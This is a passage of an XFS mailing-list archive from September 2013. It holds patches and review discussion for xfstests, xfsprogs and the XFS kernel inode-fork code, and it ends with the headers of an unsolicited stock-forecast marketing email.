b/tests/generic/314 old mode 100644 new mode 100755 index 0dd98a3..f430b82 --- a/tests/generic/314 +++ b/tests/generic/314 @@ -57,7 +57,7 @@ chown $qa_user:12345 $TEST_DIR/$seq-dir chmod 2775 $TEST_DIR/$seq-dir # Make subdirs before & after acl set -su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" +su $qa_user -c "umask 022; mkdir $TEST_DIR/$seq-dir/subdir" su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" -- 1.8.1.2 From enwlinux@gmail.com Sat Sep 21 16:59:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EDD1629DFB for ; Sat, 21 Sep 2013 16:59:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6A932AC00A for ; Sat, 21 Sep 2013 14:59:33 -0700 (PDT) X-ASG-Debug-ID: 1379800771-04cb6c2e9f1297390001-NocioJ Received: from mail-qa0-f50.google.com (mail-qa0-f50.google.com [209.85.216.50]) by cuda.sgi.com with ESMTP id 9bvkOrJHS7vTBywl (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 21 Sep 2013 14:59:31 -0700 (PDT) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] Received: by mail-qa0-f50.google.com with SMTP id j7so595207qaq.9 for ; Sat, 21 Sep 2013 14:59:31 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=/gO4TdCZ5o1+9L3o+gcD/bsjJ1+kygJ+99Ym4QTbIfQ=; b=CX4UM2hshX2/cSi3oKtUoSICmw2ruJt56kv/Sp1GQGa0P7M39Iay42LRYvLvhx1n25 qAfs1j+zhe9BQc0qRQz4KH7tJ60GbAIMuGYa3FvIbbsv8AagKD0Xcf8SQwIdm2ezI21H ffnLnYHucrKn1ZNWV0aWwhqOBb9uE8x1Hpd7ZbmmqaYOdTCIXsBe/hkEOz3qEIfVVQjs 17NqxZ2JIw8RdIbxKf7wc8aYImPKuz+PlfT/U37kbqSwrb/dmO0AiNI1/6Lq28F4Isvi +bsA+l1Y09LaEbbhmAyKtNsUgsYw8TeNk92rPFAfid/08jDyO3wMjjGwy/Y1ziPH5btD GVRA== X-Received: by 10.229.213.1 with SMTP id gu1mr19987423qcb.13.1379800771566; Sat, 21 Sep 2013 14:59:31 -0700 (PDT) Received: from wallace (c-75-68-62-236.hsd1.nh.comcast.net. [75.68.62.236]) by mx.google.com with ESMTPSA id g2sm30941457qaf.12.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Sat, 21 Sep 2013 14:59:30 -0700 (PDT) Date: Sat, 21 Sep 2013 17:59:27 -0400 From: Eric Whitney To: Eric Sandeen Cc: Eric Whitney , xfs@oss.sgi.com, linux-ext4@vger.kernel.org Subject: Re: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting Message-ID: <20130921215927.GD7855@wallace> X-ASG-Orig-Subj: Re: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting References: <20130906194243.GA19286@wallace> <522A3254.3090704@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522A3254.3090704@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qa0-f50.google.com[209.85.216.50] X-Barracuda-Start-Time: 1379800771 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature * Eric Sandeen : > On 9/6/13 2:42 PM, Eric Whitney wrote: > > Generic/300 fails when run on a test filesystem that does not support > > fallocate(), as in the case of an ext4 filesystem created without the > > extent feature. It uses fio's falloc ioengine to generate part of its > > I/O load. > > > > Verify that the test filesystem supports fallocate() before proceeding > > with the test. Also, delete any pre-existing test output to avoid > > confusion with old results. > > Hey Eric - sorry this got missed for review. > > Since the test doesn't actually use xfs_io it seems like slightly the > wrong check, maybe we need a new _require_fio_falloc()? > > But xfs_io will almost always be installed for someone running > xfstests, and the check as you have it will indeed test that the fs > can do fallocate; it's just not the most targeted test. > > It's probably ok, though - a comment about why you _require_xfs_io > when xfs_io isn't used might be good. > > What do you think? > Hi Eric: Sorry for my late reply. I agree that the scope of _require_xfs_io_falloc is larger than what we really need here. However, after looking for other possible users of a _require_fio_falloc and not finding others, I think adding the comment you suggest sounds like the way to go for now. I'm willing to add a function tailored to fio (implemented and tested same), but that looks like it would add some fairly redundant code that would only be used by one caller. And, you're quite right that you really need xfsprogs in place to use xfstest anyway - there are more than 20 tests that require xfs_io to run generic xfstests on ext4. More work revealed that I also need to add a call to _require_xfs_io_falloc_punch. Ext4 filesystems created with the bigalloc feature don't support hole punching but do support allocation with fallocate(). I've got a tested V2 patch I'll post shortly. Also, I discovered that generic/299 needs some similar treatment. It's using the fallocate command to generate a background load, but is failing silently while reporting success when run against an ext4 filesystem created without the extent feature (ext3 emulation). This tends to point out the problem with implementing a _require__falloc function for each new command that test scripts want to use to generate I/O - they could multiply quickly. At any rate, I'm planning to get out a patch for generic/299 as well. Thanks, Eric > > > Signed-off-by: Eric Whitney > > --- > > tests/generic/300 | 3 +++ > > 1 file changed, 3 insertions(+) > > > > diff --git a/tests/generic/300 b/tests/generic/300 > > index 7c60728..1ac763b 100755 > > --- a/tests/generic/300 > > +++ b/tests/generic/300 > > @@ -43,6 +43,9 @@ _supported_fs generic > > _supported_os Linux > > _need_to_be_root > > _require_scratch > > +_require_xfs_io_falloc > > + > > +rm -f $seqres.full > > > > NUM_JOBS=$((4*LOAD_FACTOR)) > > BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` > > > From enwlinux@gmail.com Sat Sep 21 17:02:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6DC5C29DFB for ; Sat, 21 Sep 2013 17:02:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4BA8C8F804B for ; Sat, 21 Sep 2013 15:02:56 -0700 (PDT) X-ASG-Debug-ID: 1379800970-04cbb02c3e128ea80001-NocioJ Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) by cuda.sgi.com with ESMTP id DNX6HLRAzW7wddO1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 21 Sep 2013 15:02:51 -0700 (PDT) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] Received: by mail-qc0-f171.google.com with SMTP id x19so1126082qcw.2 for ; Sat, 21 Sep 2013 15:02:50 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=K6WnhB8GNOWw1HnMohFyPc3uifnPlujgRCjt/Q3Dpw8=; b=ve+PATlzGgFa37uPG5gY/fyJ2SyfDRIdkSJzeTKmmZRhmJxoWYohPWmHerUG0gKaNh 1cj0JR+3DiuoXHa4jIRvVAzpQ4CMxK1tn+Ek/wiR01LRi3wr0EpYEzlv3aW/tJYOPbpY EhmuZSV732JsEvrYnhdLtA3GFdkM9ilYKJ3LcVN+7njDOqcL8ZQwbMAX3potwEQZP+4K Cw6PelwqslnRu0OG7Cg9ti8gTMwhoAahbsQvP/Lro0hNV63dQ+VKWhiEN3oVIerSTO3K AZXYV4ncxtbSbac4lhNWWRaiLEboZpLx/pHnFdY1O/o9hlzt6YpCzlqXuprzC5T990xV EUeg== X-Received: by 10.49.39.161 with SMTP id q1mr12901316qek.66.1379800970618; Sat, 21 Sep 2013 15:02:50 -0700 (PDT) Received: from wallace (c-75-68-62-236.hsd1.nh.comcast.net. [75.68.62.236]) by mx.google.com with ESMTPSA id a2sm30018671qek.7.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Sat, 21 Sep 2013 15:02:50 -0700 (PDT) Date: Sat, 21 Sep 2013 18:02:47 -0400 From: Eric Whitney To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org Subject: [PATCH V2] xfstests: only run generic/300 on filesystems supporting fallocate() Message-ID: <20130921220247.GE7855@wallace> X-ASG-Orig-Subj: [PATCH V2] xfstests: only run generic/300 on filesystems supporting fallocate() MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f171.google.com[209.85.216.171] X-Barracuda-Start-Time: 1379800971 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Generic/300 fails when run on a test filesystem that does not support fallocate(), as in the case of an ext4 filesystem created without the extent feature or with the bigalloc feature. It uses fio's falloc ioengine to generate part of its I/O load, and both fallocates blocks and punches holes. Verify that the test filesystem supports fallocate() before proceeding with the test, checking for both block allocation and hole punching capabilities. We need to use both _require_xfs_io_falloc and _require_xfs_io_falloc_punch because the latter does not currently test for block allocation support. Also, delete any pre-existing test output to avoid confusion with old results. Signed-off-by: Eric Whitney --- tests/generic/300 | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/generic/300 b/tests/generic/300 index 7c60728..1bb2837 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -44,6 +44,17 @@ _supported_os Linux _need_to_be_root _require_scratch +# For this test, the test system's glibc and kernel and the test file system +# must support both fallocating and hole punching. We don't need xfs_io to +# perform the test, but we can use it to verify these preconditions. For now, +# this allows us to avoid duplicating the following functions for fio or other +# applications that might be used to generate I/O at the cost of picking up a +# minor dependency on xfsprogs. +_require_xfs_io_falloc +_require_xfs_io_falloc_punch + +rm -f $seqres.full + NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` if [ $((BLK_DEV_SIZE)) -gt 1048576 ] -- 1.8.1.2 From zhong@linux.vnet.ibm.com Sun Sep 22 01:01:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5B1997CBE for ; Sun, 22 Sep 2013 01:01:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4A2FC8F804B for ; Sat, 21 Sep 2013 23:01:31 -0700 (PDT) X-ASG-Debug-ID: 1379829688-04cb6c153d12a8880001-NocioJ Received: from e23smtp09.au.ibm.com (e23smtp09.au.ibm.com [202.81.31.142]) by cuda.sgi.com with ESMTP id LQ1PWXK1sd5jx1e4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 23:01:29 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.142 Received: from /spool/local by e23smtp09.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Sun, 22 Sep 2013 16:01:26 +1000 Received: from d23dlp01.au.ibm.com (202.81.31.203) by e23smtp09.au.ibm.com (202.81.31.206) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Sun, 22 Sep 2013 16:01:24 +1000 Received: from d23relay03.au.ibm.com (d23relay03.au.ibm.com [9.190.235.21]) by d23dlp01.au.ibm.com (Postfix) with ESMTP id B70D42CE8051 for ; Sun, 22 Sep 2013 16:01:23 +1000 (EST) Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96]) by d23relay03.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8M61CE77471576 for ; Sun, 22 Sep 2013 16:01:12 +1000 Received: from d23av01.au.ibm.com (localhost [127.0.0.1]) by d23av01.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8M61NFm009113 for ; Sun, 22 Sep 2013 16:01:23 +1000 Received: from [9.111.43.232] (thinkpad-t5421.cn.ibm.com [9.111.43.232]) by d23av01.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8M61KuQ008411 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sun, 22 Sep 2013 16:01:22 +1000 Message-ID: <1379829679.4089.2.camel@ThinkPad-T5421> Subject: [PATCH] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: [PATCH] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: xfsprogs Cc: Chandra Seetharaman Date: Sun, 22 Sep 2013 14:01:19 +0800 Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092206-3568-0000-0000-000004472935 X-Barracuda-Connect: e23smtp09.au.ibm.com[202.81.31.142] X-Barracuda-Start-Time: 1379829689 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140811 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, as suggested by sekharan. Signed-off-by: Li Zhong --- repair/sb.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/repair/sb.c b/repair/sb.c index aa550e3..7abf47c 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, /* * see if we have enough superblocks to bother with */ - if (num_ok < num_sbs / 2) - return(XR_INSUFF_SEC_SB); + if (num_ok < num_sbs / 2) { + retval = XR_INSUFF_SEC_SB; + goto out_free_list; + } current = get_best_geo(list); -- 1.8.1.4 From zhong@linux.vnet.ibm.com Sun Sep 22 01:46:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D76C27F37 for ; Sun, 22 Sep 2013 01:46:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0E5F8F8050 for ; Sat, 21 Sep 2013 23:46:02 -0700 (PDT) X-ASG-Debug-ID: 1379832359-04cb6c2e9d12ae900001-NocioJ Received: from e28smtp03.in.ibm.com (e28smtp03.in.ibm.com [122.248.162.3]) by cuda.sgi.com with ESMTP id u3pDyoEo1YX6E8bB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 23:46:01 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.3 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] Received: from /spool/local by e28smtp03.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Sun, 22 Sep 2013 12:15:58 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] Received: from d28dlp02.in.ibm.com (9.184.220.127) by e28smtp03.in.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Sun, 22 Sep 2013 12:15:56 +0530 Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59]) by d28dlp02.in.ibm.com (Postfix) with ESMTP id 2875C3940058 for ; Sun, 22 Sep 2013 12:15:41 +0530 (IST) Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65]) by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8M6mBrZ38469832 for ; Sun, 22 Sep 2013 12:18:11 +0530 Received: from d28av03.in.ibm.com (localhost [127.0.0.1]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8M6jths021940 for ; Sun, 22 Sep 2013 12:15:55 +0530 Received: from [9.111.43.232] (thinkpad-t5421.cn.ibm.com [9.111.43.232]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8M6jru2021877 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sun, 22 Sep 2013 12:15:54 +0530 Message-ID: <1379832353.4089.10.camel@ThinkPad-T5421> Subject: [PATCH] xfsprogs: fix potential memory free issues in quota_group_type() From: Li Zhong X-ASG-Orig-Subj: [PATCH] xfsprogs: fix potential memory free issues in quota_group_type() To: xfsprogs Cc: Chandra Seetharaman Date: Sun, 22 Sep 2013 14:45:53 +0800 Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092206-3864-0000-0000-00000A2EA373 X-Barracuda-Connect: e28smtp03.in.ibm.com[122.248.162.3] X-Barracuda-Start-Time: 1379832360 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch tries to fix CID 997009 reported by Coverity scan, as suggested by sekharan If getgroups() fails, gids might be malloced, and overwritten with &gid. So the free() at the end of the function is trying to free a variable on the stack, while the pointer to the allocated memory is lost. Signed-off-by: Li Zhong --- quota/quota.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/quota/quota.c b/quota/quota.c index 7e52ad2..ae9b156 100644 --- a/quota/quota.c +++ b/quota/quota.c @@ -292,7 +292,8 @@ quota_group_type( } else if ( ((ngroups = sysconf(_SC_NGROUPS_MAX)) < 0) || ((gids = malloc(ngroups * sizeof(gid_t))) == NULL) || ((ngroups = getgroups(ngroups, gids)) < 0)) { - dofree = (gids != NULL); + if (gids) + free(gids); gid = getgid(); gids = &gid; ngroups = 1; -- 1.8.1.4 From jeff.liu@oracle.com Sun Sep 22 03:24:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 51F947F4E for ; Sun, 22 Sep 2013 03:24:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3E556304039 for ; Sun, 22 Sep 2013 01:24:33 -0700 (PDT) X-ASG-Debug-ID: 1379838271-04cbb02c3c12aaaf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id KL7sx7Uwyg5SrS1V (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 01:24:31 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8M8OU5J016214 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 22 Sep 2013 08:24:31 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8M8OTpZ017340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 08:24:30 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8M8OTlP017332 for ; Sun, 22 Sep 2013 08:24:29 GMT Received: from [192.168.1.104] (/221.223.97.105) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 22 Sep 2013 01:24:29 -0700 Message-ID: <523EA96B.3040904@oracle.com> Date: Sun, 22 Sep 2013 16:25:15 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379838271 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140814 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu At xfs_iext_realloc_direct(), the new_size is changed by adding if_bytes if originally the extent records are stored at the inline extent buffer, and we have to switch from it to a direct extent list for those new allocated extents, this is wrong. e.g, Create a file with three extents which was showing as following, xfs_io -f -c "truncate 100m" /xfs/testme for i in $(seq 0 5 10); do offset=$(($i * $((1 << 20)))) xfs_io -c "pwrite $offset 1m" /xfs/testme done Inline ------ irec: if_bytes bytes_diff new_size 1st 0 16 16 2nd 16 16 32 Switching --------- rnew_size 3rd 32 16 48 + 32 = 80 roundup=128 In this case, the desired value of new_size should be 48, and then it will be roundup to 64 and be assigned to rnew_size. However, this issue has been covered by resetting the if_bytes to the new_size which is calculated at the begnning of xfs_iext_add() before leaving out this function, and in turn make the rnew_size correctly again. Hence, this can not be detected via xfstestes. This patch fix above problem and revise the new_size comments at xfs_iext_realloc_direct() to make it more readable. Also, fix the comments while switching from the inline extent buffer to a direct extent list to reflect this change. Signed-off-by: Jie Liu --- fs/xfs/xfs_inode_fork.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index dfb4226..7c6192a 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -1359,7 +1359,7 @@ xfs_iext_remove_indirect( void xfs_iext_realloc_direct( xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new size of extents */ + int new_size) /* new size of extents after adding */ { int rnew_size; /* real new size of extents */ @@ -1397,13 +1397,8 @@ xfs_iext_realloc_direct( rnew_size - ifp->if_real_bytes); } } - /* - * Switch from the inline extent buffer to a direct - * extent list. Be sure to include the inline extent - * bytes in new_size. - */ + /* Switch from the inline extent buffer to a direct extent list */ else { - new_size += ifp->if_bytes; if (!is_power_of_2(new_size)) { rnew_size = roundup_pow_of_two(new_size); } -- 1.7.9.5 From marketing@forecastationllc.com Sun Sep 22 13:15:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: LINUX-XFS@OSS.SGI.COM Delivered-To: LINUX-XFS@OSS.SGI.COM Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EBCF29DFB for ; Sun, 22 Sep 2013 13:15:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7E3C3304032 for ; Sun, 22 Sep 2013 11:15:47 -0700 (PDT) X-ASG-Debug-ID: 1379873742-04cbb02c3e12c9260001-8jGoH7 Received: from s424373522.onlinehome.us (u16379804.onlinehome-server.com [74.208.167.14]) by cuda.sgi.com with SMTP id JMTdnDRxVRCbLRj0 for ; Sun, 22 Sep 2013 11:15:42 -0700 (PDT) X-Barracuda-Envelope-From: marketing@forecastationllc.com X-Barracuda-Apparent-Source-IP: 74.208.167.14 Received: from u16379804 ([74.208.167.14]) by s424373522.onlinehome.us ; Sun, 22 Sep 2013 11:15:42 -0700 Thread-Topic: ] The No1 Stock ForecUast Engine thread-index: Ac63v7+FATxeZyWpTeGXSHq94XE1Jg== From: "Stock100" To: Subject: ] The No1 Stock ForecUast Engine Date: Sun, 22 Sep 2013 11:15:42 -0700 X-ASG-Orig-Subj: ] The No1 Stock ForecUast Engine Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_BD48E_01CEB785.132665E0" X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.1.7601.17609 X-Barracuda-Connect: u16379804.onlinehome-server.com[74.208.167.14] X-Barracuda-Start-Time: 1379873742 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 